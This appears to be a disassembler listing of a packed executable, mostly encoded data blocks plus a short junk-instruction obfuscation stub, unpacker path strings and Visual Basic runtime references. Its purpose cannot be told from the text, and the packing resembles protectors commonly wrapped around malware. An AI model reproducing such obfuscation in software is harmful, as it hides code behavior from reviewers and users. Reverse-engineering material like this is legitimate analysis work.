		dd 0D4143B11h, 0EF2D62BEh, 12D2653Dh, 0CAA15638h, 45031194h
		dd 2713F546h, 3DCF918Bh, 1BEDD565h, 1194CAD4h, 87713656h
		dd 183AE665h, 6A2D70E9h, 2FE4E346h, 0B979A3C9h,	391F5292h
		dd 32AE9A7Ah, 848A5618h, 6C533544h, 97662298h, 0B466E611h
		dd 0B57FDEE2h, 0A16F2CF6h, 0F43C1F8Bh, 0E1415A34h, 2FF4ABAh
		dd 1A8h, 0ED8B79C4h, 0B7DD0535h, 7B11D17Bh, 927E3AFh, 0DC7ABA91h
		dd 0B006FC1h, 0DD73AFC5h, 92BB771Dh, 0AFE03856h, 16DAC369h
		dd 0E8A88F64h, 9811D0Ah, 9711BF26h, 0E036BDAFh,	0D0B41194h
		dd 7995936Dh, 65ABE0BAh, 0BC7CD3CFh, 86E91496h,	27E46DA2h
		dd 8905EA9Ch, 0E1671194h, 12BA9C83h, 0EE908A26h, 183B2BA2h
		dd 0F5E79AF2h, 0AEECCFAh, 22605864h, 2CEAFB72h,	9F21h
		dd 67281900h, 53690A1h,	4C1EAADFh, 94FC559Ah, 0F2B1D711h
		dd 9501BF06h, 1F3EC211h, 0B0CD6D5h, 0DC73AFC5h,	9F6B6D1Ch
		dd 85670903h, 9183B14h,	7F3214Fh, 0AAE1B16Bh, 89B878D0h
		dd 0B6102187h, 3FFC4286h, 7EE47B6Dh, 0E6661197h, 0FE2F6C34h
		dd 3E04133h, 97BD0304h,	30F0301Bh, 0BAE1F470h, 0C91885B4h
		dd 0E3000000h, 0D4CC6AA6h, 1A96BC64h, 4E5AF030h, 0B06806C2h
		dd 0E63F559Bh, 0A46C2F4Eh, 0FC3C128Eh, 31F35A56h, 48888F1Bh
		dd 4729FB22h, 0AE8A7B0h, 2868A032h, 1B97BD63h, 3E5EF434h
		dd 0F7A16728h, 3048638Eh, 3CE3C9A3h, 5C9CB30Fh,	64F8C036h
		dd 0E2EC0B2h, 37F91841h, 827C7365h, 6EEE0AE8h, 0E882579Ch
		dd 8CB3D50Ah, 30F0479Bh, 0EFB91F01h, 0F8BF7BD3h, 18D87F4Bh
		dd 0A6E8A872h, 53B17FDCh, 0A1793E1Eh, 811B2EEEh, 0B43B2DFFh
		dd 360AE882h, 828F6456h, 7B1D0AE8h, 4603C0B4h, 0E5BB37EAh
		dd 0A361D6CDh, 0FA3A1D95h, 0F681B520h, 0F3269390h, 0E7A37FCCh
		dd 2DF3162Bh, 41391EF5h, 82A80ECEh, 4EE32116h, 355h, 16362500h
		dd 8ABF6D28h, 0A8D91F30h, 44F53F1Eh, 6514D47Ah,	7F32F259h
		dd 1928E8A3h, 3041818Dh, 0CD7CA496h, 0E89959F1h, 5D5455E2h
		dd 4C581h, 0ED830000h, 242C8704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 241C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, 243107BFh
		sub	ecx, 50E923DAh
		and	ecx, 43E105BEh
		push	edx
		mov	edx, 2DA6F6Ch
		shr	edx, 7
		inc	edx
		not	edx
		xor	edx, 3C910D8Ch
		add	ecx, edx
		pop	edx
		mov	ebx, ecx
		pop	ecx
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	3B32h
		mov	[esp], ebx
		xor	dword ptr [esp], 64EB032Dh
		pop	dword ptr [eax+8]
		xor	dword ptr [eax+8], 64EB032Dh
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55EA8A
; ---------------------------------------------------------------------------
		dw 0D210h
		dd 0DF765AA1h, 288BEB72h, 0B8A5EB14h, 6AC56B9h,	0E0FFC503h
		dd 4CE829AFh, 26D5A046h, 57967F34h, 502D396Ch, 1E844CB1h
		dd 5E6DC66Ah, 56E43700h, 2D03754Ch, 7ADBB429h, 34915A4Eh
		dd 440DE083h, 7417EC0Eh, 5000BD1Eh, 0D1C76A5h, 0CE8h, 24407A00h
		dd 0B6C16A88h, 63C9AC73h, 0AB86667h, 0C7815F35h, 603Dh
		dd 0BBF9h, 12E90000h, 4000000h,	880F1C10h, 0BB59816Fh
		dd 0C25BF3E5h, 684328B0h, 1F0C8BD7h, 0E981C38Bh, 49FFE705h
		dd 81D0B70Fh, 380D25C1h, 0DE909h, 946D0000h, 2A1229A8h
		dd 71DD428Ch, 81CE9C80h, 4C8B03F1h, 5E934h, 0F3660000h
		dd 51256B92h, 48FF08Bh,	5E91Fh,	0AE5E0000h, 0E913068Dh
		dd 12h,	0AFEB768Eh, 0CA63A22h, 1252496Ch, 7A721CA5h, 0EB810E6Dh
		dd 47DE05A7h, 5A3C381h,	0CE8047DEh, 70FB8125h, 0FFFFFA0h
		dd 0FFFF8885h, 0E08166FFh, 8D8DEDA9h, 6AC5911h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5AC35343h, 0AD8D8978h
		dd 0BE06A606h, 64DB831Ah, 40D85C7h, 5E8806A6h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0BCE094C3h, 3324F922h, 3E6CCBDh, 0A6293585h,	0E985C706h
		dd 6A60Bh, 8B000000h, 0A6315195h, 0EDB5FF06h, 6A06A61Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7D1AC352h, 6E7CF474h, 95FF9B04h, 6A61A79h
		dd 104DBD2Bh, 6A06A6h, 295995FFh, 0C08B06A6h, 962A4BEBh
		dd 1611AE1Ah, 1F990281h, 0EC01FA09h, 80ED75BEh,	0BF6ED938h
		dd 439751B6h, 0B3A32609h, 870BE740h, 539E3633h,	0E816AC8h
		dd 2A6B89CCh, 0A4AF5D6Bh, 61DDF248h, 767AB50Ah,	27DD303Fh
		dd 1157AEC8h, 264592BDh, 0D765FE97h, 179E9DCh, 0AB010000h
		dd 5C56E1Bh, 3A4377E7h,	755F6D5Ch, 6361706Eh, 72656Bh
		dd 6B636170h, 652E6465h, 6578h,	3Ah dup(0)
		dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h
		dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h
		dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h
		dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h
		dd 65h,	6 dup(0)
		dd 0E9000000h, 1CDEh, 0AC5D1468h, 22BDE906h, 0B68FFFAh
		dd 0E906AC5Eh, 0FFFA22B3h, 0AC5F2F68h, 22A9E906h, 0E868FFFAh
		dd 0E906AC5Fh, 0FFFA229Fh, 0AC603E68h, 2295E906h, 4168FFFAh
		dd 0E906AC61h, 0FFFA228Bh, 0AC619968h, 2281E906h, 0EA68FFFAh
		dd 0E906AC61h, 0FFFA2277h, 0AC697568h, 226DE906h, 1568FFFAh
		dd 0E906AC6Ah, 0FFFA2263h, 0AC6AB768h, 2259E906h, 0EC68FFFAh
		dd 0E906AC6Bh, 0FFFA224Fh, 0AC6C5E68h, 2245E906h, 4368FFFAh
		dd 0E906AC6Dh, 0FFFA223Bh, 0AC6DE268h, 2231E906h, 8768FFFAh
		dd 0E906AC6Eh, 0FFFA2227h, 0AC74FC68h, 221DE906h, 0B568FFFAh
		dd 0E906AC75h, 0FFFA2213h, 0AC765768h, 2209E906h, 0ECF9FFFAh
		dd 0DA8C8B06h, 895AE530h, 796FD663h, 11331A97h,	9E3F4AC7h
		dd 6CB96F11h, 51EC0221h, 801DCBF6h, 0F24FA585h,	0D849E26Ch
		dd 0CE3360B2h, 0DD7A879Bh, 45B9E00Eh, 98C1173Ah, 0C3E72C26h
		dd 57FC7029h, 6AB0C90h,	2835CCE9h, 78CC6B2h, 57AFC923h
		dd 0AFBD1F74h, 0A7CC5141h, 8D750C46h, 2CFAE650h, 2B58F37Dh
		dd 3D35CC26h, 0BF9E9C5h, 7DFA052Ah, 0B4323C28h,	14431C58h
		dd 1163B871h, 0B247A4AEh, 29504A3Eh, 6A767DEAh,	1C760233h
		dd 58376198h, 4020F6h, 1CE20000h, 9D3A24E1h, 867821CFh
		dd 6504EAF9h, 0FF85EB79h, 0C27BAD50h, 93182D0h,	2D3EB2D8h
		dd 5E0CABB5h, 0CC0FBEB4h, 336AD9A3h, 0C6E956DCh, 9E707710h
		dd 62E61CC4h, 0F6589447h, 0F306h, 875B8C00h, 0EF913C6Dh
		dd 1DCD0039h, 2B3F56F7h, 64C574C1h, 1A35CCEDh, 917A248h
		dd 96983A2h, 0CE8F07C5h, 0B01F5541h, 0A92158B2h, 2897D12Ch
		dd 499F8104h, 8BB2AE10h, 49D75D17h, 1FFB68C3h, 0F5ED35CCh
		dd 0E371A74Ah, 0B2226650h, 4FE8703Eh, 336BC822h, 57E2DE34h
		dd 0C6D32EAFh, 0B33FA47Fh, 71FF7955h, 6B6AADC6h, 0D47B333h
		dd 0CD7734A7h, 0D2793813h, 5F43FA10h, 8E5E0563h, 0D6963960h
		dd 0A8364C38h, 4FA58522h, 34E28E35h, 64B25EF9h,	0EC6BBE03h
		dd 0D410358Eh, 1A0Bh, 39749E4Fh, 17A2481Eh, 44D13B28h
		dd 8805EBF9h, 0F835E38Dh, 0C1E30CA1h, 0ACB39A17h, 0A548F742h
		dd 4B1F2673h, 800E14A1h, 60B4BAD7h, 3979AC33h, 0D1988A7Ah
		dd 0B10AE374h, 0F5701CA3h, 47211DCBh, 1511FFCFh, 22304AE2h
		dd 0E802206Fh, 0E255D35Dh, 35CC4541h, 0A9E97B57h, 3A24E11Ch
		dd 0DB8936BCh, 0E9ED0635h, 7F335CCh, 0D8C0CA4Dh, 0FCD63EB2h
		dd 0C6E10E4Dh, 0D29E336Ah, 8B8D24A0h, 0ADCCF658h, 76000000h
		dd 3C6D875Bh, 466AEF91h, 19F5E990h, 0ED482160h,	6C7E35CCh
		dd 5E0C0B86h, 5E0DAAB4h, 0ED03A2B0h, 21882F11h,	4F05AF0Fh
		dd 0A1CF4687h, 0B2B2C836h, 0A9E4DE3Eh, 97D12CA9h, 6A80A209h
		dd 36A1CF33h, 336A789Dh, 0FA5D1783h, 3812DA92h,	7ACCA20h
		dd 6ADCB1Dh, 27CD9E1Bh,	0F9A09C06h, 846A7A05h, 0D66BF9E5h
		dd 2C93456Fh, 8EED617Dh, 14B93F4Eh, 50000019h, 65207D97h
		dd 371EAB41h, 0C24DD832h, 96B10CE2h, 5AE13CEAh,	1EC8F403h
		dd 4BA58483h, 7AAC57FEh, 0A842602Fh, 208B151Dh,	3360B783h
		dd 5B207295h, 6BD26FB9h, 0F6009D77h, 3C6D875Bh,	0EE3BD191h
		dd 4E28E5E0h, 732AC0E1h, 0E16FF58Fh, 0D284FC2Dh, 0E996C1BEh
		dd 8A7415FBh, 56D747F8h, 4FA73EB2h, 206F0BE9h, 7C22F6A4h
		dd 388968F6h, 0EA29504Ch, 336AA77Dh, 0E58F3402h, 0F1A84260h
		dd 9F43110Dh, 0E6CAE165h, 807CF658h, 195B8A65h,	75741378h
		dd 0ECAEC99Bh, 14000000h, 8F4E3C09h, 0C562E876h, 645E0FE5h
		dd 0F529ADEEh, 0D5CD3EB2h, 5D0BCA51h, 22A8EE00h, 8C5A1889h
		dd 0DE940EEEh, 105EB736h, 0D56023FCh, 0BFB5965Fh, 52708631h
		dd 0AC06E5F2h, 6C1E32C2h, 0FE3E5304h, 0CA20D42Ah, 45B30BDAh
		dd 0C8569E0Fh, 0DEA34A34h, 87B485BCh, 0D42AA36Ah, 0F697416Ch
		dd 0ED67530Ch, 4F29E4E1h, 515063ECh, 0CF9F44DFh, 0C89A0425h
		dd 4AF17F6Bh, 0ED032198h, 0DB5642BCh, 23846E7Ch, 0B3ACD972h
		dd 0F0C02429h, 74000017h, 10C9973h, 0CB72CF25h,	0E6A1FC16h
		dd 0B29D28C6h, 0BECD588Eh, 3AEC901Fh, 6F81A0EFh, 9E486BD2h
		dd 0CC260403h, 0CC6FF171h, 3360B6A7h, 5B041E49h, 0C2283E87h
		dd 9E5FB7D6h, 0ACDD3734h, 92184632h, 0ADDC0A35h, 8E902331h
		dd 0E83EB2DCh, 3051FA80h, 26336ADAh, 0DA628FCCh, 9E74336Ah
		dd 9DB17A2h, 0DC83283Ch, 0DD970B32h, 1F59B431h,	0B2F53ABCh
		dd 42C63C3Eh, 91E8D6D9h, 30369DB8h, 817C88DAh, 0C20F0E80h
		dd 0EFAE882h, 5647F760h, 7B57B37Dh, 7A9056FDh, 904D45E8h
		dd 740EB75h, 0D1AAC2B7h, 655187AAh, 648E5CFBh, 967C6E29h
		dd 1D766E31h, 0C82C2101h, 1737h, 0F540AAB3h, 3B769C4Ah
		dd 68A54F1Ch, 44D13F2Dh, 0B401D7F9h, 35DFD875h,	0F8EF56E3h
		dd 91BC9B16h, 9F43CA47h, 0B43A3875h, 60B6EE03h,	0CD55F033h
		dd 365BFC7Ah, 3835CCE9h, 5F03B0C2h, 0E9FF14C7h,	0F3F135CCh
		dd 0C5726C1Dh, 0F98EF1EDh, 8E9C3C93h, 16E179FFh, 40650000h
		dd 36301FAAh, 0E5C641DCh, 0D58BB20Fh, 0BDA7EE3Bh, 328BDE6Bh
		dd 0F04D9B85h, 2D789655h, 1CA97F62h, 4EDB3131h,	54FD5EE0h
		dd 5A336089h, 0DD7A132Fh, 45B9E00Eh, 48A2800Fh,	0C13CB911h
		dd 0E8E519A7h, 7DB19E15h, 883BA8E3h, 0B52D35CCh, 8C8631BFh
		dd 0D23EB29Ah, 11D17EF8h, 0A9DA7DFBh, 0BF336A9Ah, 0F4703143h
		dd 0E2709A4Fh, 9451250Fh, 1A5CFF79h, 0DC381486h, 59F278E6h
		dd 38809628h, 9607AC0Fh, 0B1293880h, 12562C86h,	0FBDE4A09h
		dd 48E369DDh, 9C39D1DBh, 0D255F8Ah, 0E7900182h,	508D790Bh
		dd 862DABB5h, 0A9431BA6h, 6B120EF0h, 345AFD77h,	0F3974737h
		dd 60BC2A03h, 9CD6F71Eh, 3492CB27h, 0E8C058B9h,	8B33D1B0h
		dd 0EC4BD19Fh, 0FA5D17C1h, 8E2C066Dh, 0CCE8B7Bh, 0D204E29Ch
		dd 7C8478E6h, 0FAA5AC93h, 65C76B8Bh, 72A5A08Dh,	15D572E0h
		dd 0C79BA2FFh, 43BBBA2Dh, 99ACE4F8h, 15DE5Fh, 0A74D1A00h
		dd 0D13B236Ah, 2E8F944h, 36D888B7h, 66B05CFBh, 0B23D902Bh
		dd 42CD588Eh, 15308D63h, 2661BC6Ah, 0D353EE04h,	8879EA4Dh
		dd 3C6F3360h, 0E93A5766h, 0B61D35CCh, 0B5065C8Ah, 35CCF918h
		dd 0CCE9F512h, 0C956FF35h, 925035CCh, 74760778h, 58ED9C3Ch
		dd 15861Ch, 0FE5C200h, 39D38BB2h, 6A80A1ECh, 9E7070DFh
		dd 0CE180403h, 1A952873h, 2A15A076h, 0FD58D53Bh, 8E8904D2h
		dd 7BFB36DCh, 882142F5h, 94373360h, 77E11C8Eh, 0C1AF9B4Dh
		dd 0B2DDE016h, 4B18C73Eh, 4C06F8A1h, 0E184FBD7h, 7295965Fh
		dd 153595D3h, 0B4B10000h, 6244C35Eh, 51123D88h,	1276EBBh
		dd 0C9EB52EFh, 0E647821Fh, 0A4F127C9h, 0E924CA99h, 0D85583AEh
		dd 0A876D7Dh, 90319A24h, 86336088h, 875BDF63h, 2AB03C6Dh
		dd 0CCE96081h, 0A49C7635h, 0D433EC5Dh, 4FF48E85h, 3BA8039Bh
		dd 2D35CCA7h, 35DB8AB5h, 8FBEAA14h, 0FC788A90h,	0F0FEE6C5h
		dd 3584h, 3E570E00h, 1935CCE9h,	21588EB2h, 4A18A7BDh, 0A2615A0h
		dd 5B35696Eh, 4565C222h, 0FD16C1AFh, 0E335976Fh, 0A8FF7DF7h
		dd 71000014h, 6F2340EBh, 0DD353597h, 0DD7ACB87h, 5C46E70Dh
		dd 43A9B906h, 0D431AC1Ah, 0CBF00C8Ah, 47D7A52Fh, 0CA20024Dh
		dd 0E2552F93h, 3EB2EADCh, 0CDB500FAh, 0C06BF510h, 3814F3D6h
		dd 0D43A2A91h, 90C9219Eh, 14D56C7Dh, 67534FFEh,	0E3C76F2Ah
		dd 0E7C73880h, 0C7668C5Eh, 0DA81EFDBh, 59B3B009h, 0EC02226Dh
		dd 6A7CDB96h
		dd 0B0B6D980h, 0B1B71C5Ah, 0A3A0055Fh, 0D86695EFh, 0A154CF24h
		dd 1724B76Eh, 388049FAh, 9A49F6ECh, 9551FE74h, 964D227Fh
		dd 0D5FDB204h, 26Bh, 24E11C5Dh,	0D53D913Ah, 41B93EB2h
		dd 48F1F518h, 885719Bh,	9C35A62Ch, 92336AC2h, 0A8023DD3h
		dd 0C87175DAh, 6607F325h, 6AD28A23h, 0B4CEC433h, 1FAA4066h
		dd 0D19F7677h, 14C7FC66h, 71288238h, 0A9E432DEh, 7514C2EEh
		dd 80A7BFD6h, 0D07FF538h, 0B969FB2Dh, 21F7994Bh, 45EFEE94h
		dd 0D29C8866h, 0FE928D79h, 0F8A11933h, 227F9555h, 0FCAD471Bh
		dd 3E68345Dh, 5AA86226h, 0E530DA88h, 0C7668C5Ah, 2A34DE88h
		dd 0C92307ACh, 3E686182h, 1AC87726h, 657B04F0h,	3954F98Bh
		dd 7699C016h, 0E4E39A70h, 0E455D42Eh, 0F41EC368h, 9240B27Eh
		dd 8B303ED4h, 162B39D3h, 6B81A10Eh, 25C5FC19h, 0FF84E30Ch
		dd 0E000000h, 3E6FB95Bh, 4568ED97h, 8186A793h, 0BBA5778Dh
		dd 8823D06Dh, 32F0FEA8h, 2A38D695h, 0DD31h, 875BF100h
		dd 0E917BC1Fh, 0A11935CCh, 0E65BABB5h, 0D84924FDh, 0C70F4B3Bh
		dd 75CDFF5Dh, 23074EFFh, 6C7D90C9h, 40F917D5h, 943B625Eh
		dd 0C20D3CD6h, 615D0CE2h, 49CCC608h, 0C506B048h, 4AC3BF74h
		dd 0CA984AB8h, 0C5FC9520h, 71F0FEF6h, 0BFA118CAh, 0D2CC7D69h
		dd 8F8E2394h, 3A9035CCh, 7C4F28h, 7AF30000h, 4A17868Ah
		dd 8FC5BF8Bh, 0E18F8647h, 2D0FC5Bh, 988AC5D6h, 0E5847058h
		dd 0FE286BF9h, 0D93EB261h, 0ED9C7272h, 19BB2883h, 35AD336Ah
		dd 3E940B59h, 0DCB1DC30h, 0DB9AF767h, 6A5FD370h, 0F1EDC533h
		dd 668FC263h, 60336A5Fh, 57FEAF41h, 4DC27BADh, 0ECB23341h
		dd 7E828E86h, 0D54FCD96h, 6ADAC162h, 0FFBD733h,	0DA5DF661h
		dd 5743336Ah, 3BBFD51Dh, 0F6589B80h, 0AADFh, 0E11C4300h
		dd 0C99D3A24h, 0CA987A23h, 0FECBF364h, 0E7D33EB2h, 0A5812E46h
		dd 0D88E354Fh, 0F1A87E61h, 0E857110Dh, 776B12C4h, 4BF224C8h
		dd 0F9441D57h, 2F6607EDh, 0D7B4D53Fh, 0DC5AA9DBh, 6AFCD67Bh
		dd 0F325C833h, 0C33F684Ah, 0CE2402B1h, 0B1678273h, 4E26F658h
		dd 0EC000000h, 0B20FDD7Ah, 3B625EB4h, 4395B8C7h, 0F0AC531h
		dd 3E9FA61h, 0E951F265h, 6B4735CCh, 0E3208B19h,	0F5B5CCE9h
		dd 802D6C1Dh, 87B5CCEAh, 5DFA097Bh, 0E1ED678Dh,	0E64D2BE6h
		dd 856B79C0h, 0E255DBA9h, 35CCE821h, 6ECE5BB7h,	7, 5F7232h
		dd 5BD60000h, 0C12B3F86h, 134A2698h, 6600EAFCh,	9254EDF9h
		dd 0E1DDC178h, 750C46B8h, 57F61CCAh, 0E680837Fh, 0E952FF58h
		dd 0B50335CCh, 421CEB10h, 0B81359F6h, 35CCE50Bh, 0BBC9A51Dh
		dd 0E55DF70Ah, 8D5935CCh, 0A1D83234h, 0F518413Dh, 0F6C1DCBh
		dd 6E30B1C3h, 1DB43042h, 5CF0FEA8h, 0C26h, 23E61CC6h, 0DD51C77Ah
		dd 3735A3B9h, 663AA0D9h, 3A6C2A0Bh, 0EC06DB64h,	2D6743BDh
		dd 5A03D5FFh, 0FEBA8C78h, 24C87784h, 1D574BF2h,	553EC9E0h
		dd 4A8879h, 1C0A0000h, 924523E6h, 35CCE971h, 0C26FC856h
		dd 0D435CCE9h, 0D3CF64FEh, 0D03E2E95h, 8E3F35A9h, 40B6884Bh
		dd 196B07DCh, 0E1C76CEAh, 0D7645E0Fh, 9CBF27BAh, 2B44AEBCh
		dd 97E7C7BFh, 23CAF15Dh, 501DB451h, 655C598Dh, 0C6000002h
		dd 4523E61Ch, 2D27CD9Eh, 0F15E1815h, 70621BF1h,	0C0C41080h
		dd 0CE8467D0h, 6D875BB2h, 355DF303h, 0B1E2B733h, 4A0EFA3h
		dd 0FEB0A60Dh, 37A5F3h,	1C6D0000h, 0BF4523E6h, 0CCE9F71Ch
		dd 7301F935h, 0A78A7A3Fh, 0CB78D365h, 0DD35CC58h, 62C40DE5h
		dd 0ED4ED4AEh, 35CC9B41h, 7A217D55h, 6C865B2Eh,	7205A1D0h
		dd 36h,	23E61CD6h, 0B5D17A97h, 9035CCE9h, 87DD372Bh, 6C82A2E9h
		dd 59D5C13Dh, 0AD57FC7Ah, 0E9B3D07Bh, 4DA535CCh, 5BF1A937h
		dd 0A1D06C86h, 3A7F3FD7h, 0C94D1BF5h, 0F757E7BBh, 0F7917161h
		dd 0A15D1BCDh, 12D7FF8Eh, 0A1D08F8h, 19247DF7h,	99A7A349h
		dd 92FFFC65h, 760CFF14h, 15F127C9h, 984AB872h, 0B39C20CAh
		dd 0BF5516AFh, 5C38148Eh, 36F29461h, 0B65C0EDCh, 0BC052572h
		dd 0B11A44AEh, 69AF3E10h, 0D4B0AC06h, 0E60089ABh, 0C169AF3Eh
		dd 28A4C4Dh, 9120B8ECh,	0DC9B8B51h, 279CD600h, 72B8CFCBh
		dd 0FA10D200h, 11C7E9A6h, 0E5737768h, 0C844B7CDh, 4B109B00h
		dd 0F10B2599h, 5B15997Dh, 82AE156Fh, 83AD0A54h,	0B8CA3455h
		dd 668C5EF9h, 7377DC9Ah, 5844CB99h, 0AF11B5D1h,	4D49A169h
		dd 4C77DC58h, 0EA18C89Ah, 7CC02A38h, 19E50FD3h,	1EF0F05Fh
		dd 0DD59AD44h, 3131E311h, 5B37D988h, 749A48C7h,	872FDD39h
		dd 0B19D89F6h, 503CEA96h, 903BC12Fh, 69AFF773h,	2BF78D65h
		dd 0BD570BD9h, 0E95414B3h, 62713F9h, 0F7244DEEh, 0D0CA69AFh
		dd 8EDA6EE4h, 0D16D875Bh, 0CFF15E18h, 1C374B19h, 0A0EA26E3h
		dd 57FC7A04h, 0D2CC7D97h, 0CCE908B9h, 0AEA41E35h, 0FEB0EC37h
		dd 95E61EF3h, 0AD9F8BC7h, 0F9A0761Ah, 205B2905h, 3Ch, 75E31CE2h
		dd 0F4EE9F75h, 8A7A8C18h, 0DA7BBA95h, 50DE944Ah, 46EB4CCAh
		dd 6835CCC3h, 2E43F472h, 3035CCC3h, 9F3788DAh, 8F35CCC3h
		dd 2E7A8713h, 0DD69835Bh, 3C7205A1h, 0D6000000h, 0B732DD7Ah
		dd 0B22C5DB7h, 87408CC6h, 0F566EC8Ah, 35CCE95Ch, 461A6842h
		dd 365BFC7Ah, 3835CCE9h, 4C38EE91h, 0E70FA836h,	3635CCE9h
		dd 0DD7ACE5Ah, 66CE60Ch, 69835BAAh, 5705A1DDh, 35CCFA11h
		dd 4DFC2AD5h, 0DD0B3651h, 184632ACh, 1A43ADB3h,	1E4CAAB8h
		dd 14FFFFFDh, 365BFC7Ah, 3835CCE9h, 0E9EA07B0h,	6FC35CCh
		dd 0D7E23A2Ah, 0BB8D59AEh, 58F916A9h, 42B835CCh, 12E24AC7h
		dd 6F52637Eh, 82AEE901h, 0B0B11E54h, 43E0235Ah,	4435CC24h
		dd 0D79446BCh, 395F3739h, 0BDDA42B0h, 0BC2647ADh, 1CCA75C0h
		dd 1CDBBBF6h, 8F34B8E1h, 0AB1736D8h, 0B20466D9h, 37C37B62h
		dd 49A259DDh, 0F814B2A8h, 9708A008h, 8CE77D06h,	1F5h, 0E93F5736h
		dd 7D7835CCh, 8975E680h, 1D3EB2DDh, 3C2D68A5h, 3B2388D6h
		dd 2836A8D1h, 6ADD628Fh, 0C49E7433h, 0D2382E61h, 0D6382F94h
		dd 0C0E6299Ch, 5A9B732Ah, 8812C5A3h, 0EE3814E8h, 2CDE93F4h
		dd 0D0758EF0h, 0DAA94h,	0D3392E00h, 5EFFF46h, 36DC8D88h
		dd 628C5CFBh, 924468D7h, 4E69C407h, 1E3974A2h, 2914A14Fh
		dd 0FA45D006h, 0AFB702E8h, 801DB621h, 0D8033360h, 6D875B5Ah
		dd 812AB03Ch, 35CCE960h, 3EC69C76h, 0BF1846BFh,	3EB803BFh
		dd 82347BFh, 9E0F9419h,	4A1FC4A2h, 9F38C6A0h, 33601272h
		dd 0BDF48E64h, 7B68D192h, 1AF6E891h, 0E70AA05Ch, 0BF6EC566h
		dd 0F3ED090h, 216CC193h, 54B2EB01h, 59F27C99h, 381EC421h
		dd 0B4DD7E04h, 0BA389ED6h, 0C9230740h, 0FF542E90h, 54BD9C03h
		dd 0DF6E8EEAh, 0D0A99h,	73994E00h, 0A54F1F26h, 0D63C2D68h
		dd 2ECFC5Bh, 32E488B7h,	0EE09A4E7h, 0BE9914C2h,	49F441AFh
		dd 1A2570A6h, 0F17A248h, 83BDD681h, 78A33360h, 6D875B3Ah
		dd 0FA17D63Ch, 0C570427Ch, 85E3DF71h, 0ADC671FFh, 0B335CCACh
		dd 648A0D47h, 723EB29Dh, 20020D98h, 56977FCAh, 5A0AB1BFh
		dd 8730BEB4h, 381E77DAh, 832836ACh, 5EF934DEh, 52F9678Dh
		dd 47E67C92h, 89B05A08h, 7E9F867h, 1EE67C66h, 933826DFh
		dd 0C62C26F0h, 0E01CF515h, 7C63C833h, 1D09DFC1h, 8DF2E847h
		dd 88439CB4h, 68A23A4Bh, 0EC00000Ch, 0B98411FBh, 43CA47ADh
		dd 1E39749Eh, 2A15A04Eh, 645D006h, 0B26408A7h, 0E709D867h
		dd 16C0E3AAh, 44AEBC9Bh
		dd 74E769C9h, 336083DFh, 5B9CA6C1h, 0D63C6D87h,	53B9AD17h
		dd 5EF967h, 0D63EB2D3h,	0C0E6A1FCh, 0AB876D79h,	97FE161Eh
		dd 4F175DA7h, 85719F4Eh, 896340CFh, 0D78B303Ch,	5E47EC4Fh
		dd 7169336Ah, 68FAE485h, 0DDD7A28h, 65C46E7h, 5806FFFEh
		dd 0E9C879D2h, 0E4DE35CCh, 7B57006Eh, 633EB2C6h, 6042E977h
		dd 3655F88Ah, 336AF499h, 0A90288E6h, 336AF438h,	2DC7E72Eh
		dd 0DC96827Ch, 5F7AFE14h, 1EF658B9h, 0DAh, 11C7E956h, 0DD7A0F43h
		dd 5B47E60Ch, 0E909BA1Dh, 0A31F35CCh, 0AE4462D1h, 7C9650FFh
		dd 0A5E402F2h, 0A1E26BD8h, 9C5B82B1h, 0C49EEBB6h, 0D6810F61h
		dd 35CC2ABDh, 963D37A3h, 0C63E38D6h, 0E2A7D871h, 67C69C8Bh
		dd 59D43E28h, 4DE651DFh, 4335CC4Fh, 0E2D877A1h,	0A8696490h
		dd 76A9766h, 7E945268h,	0DE73E482h, 0C035CCA7h,	0C770FEEAh
		dd 3EB2BC5Bh, 8B1B512h,	0A4C5B15Bh, 1F8B283Ah, 963BA5A8h
		dd 91D77695h, 0B33h, 0C15CB6B7h, 3F8A6046h, 6CB95310h
		dd 50ED0321h, 801DCBF5h, 29CBE479h, 0C49BA2FFh,	8DB09F2Ah
		dd 6347CE5Bh, 0A8363C89h, 6082E20Fh, 0C151F433h, 173A835Bh
		dd 7B8BD5C1h, 0C7C21BCCh, 0DA33A589h, 0B0C77161h, 6ACA87DDh
		dd 56h,	8B5D47ECh, 835BB9F9h, 17BC3069h, 23ABB953h, 0AA0D6BA2h
		dd 3EB2DC40h, 0EE4BBC16h, 0E5959660h, 0AC10460h, 20050000h
		dd 16D07FCAh, 0C5E6A1FCh, 0B5AB922Fh, 5D47CE5Bh, 52EB3E8Bh
		dd 0D06DBBA5h, 0D987675h, 7CC91F02h, 0AEFB11D1h, 749D3EC0h
		dd 7A336085h, 875B73CFh, 0D1913C6Dh, 91E9DB3Fh,	7B04E60Eh
		dd 0EED08963h, 27044BF2h, 4F719CCDh, 34FCE099h,	3AE05FDEh
		dd 40954CC8h, 53D4F0FEh, 5E000002h, 7F7E4C09h, 0D452D886h
		dd 0CCE9CE63h, 0DD76E135h, 0C335CCE9h, 3042B8D7h, 0B2F54F8Fh
		dd 0B6E61E3Eh, 79836ACCh, 6258F78Dh, 0B4DD7E04h, 0BA336ABDh
		dd 0D5763240h, 0F03051Fh, 0B2BC5994h, 34DA8F34h, 8F0BFA0h
		dd 52201CDEh, 8F1DD5E1h, 0E14AD0C4h, 352F1D40h,	0D2042F56h
		dd 95B37ABh, 810930AAh,	0CAFC944h, 3E54EEC3h, 0C3333D95h
		dd 0D03FE241h, 0A230422Fh, 72CF2505h, 8AFD17CBh, 94AF3C9Bh
		dd 0DCDF192Ch, 18000009h, 2D68A54Fh, 0FF46D339h, 8AB500EAh
		dd 5EF934DAh, 922964B2h, 4690BC3Bh, 739D4CCBh, 0A2741F26h
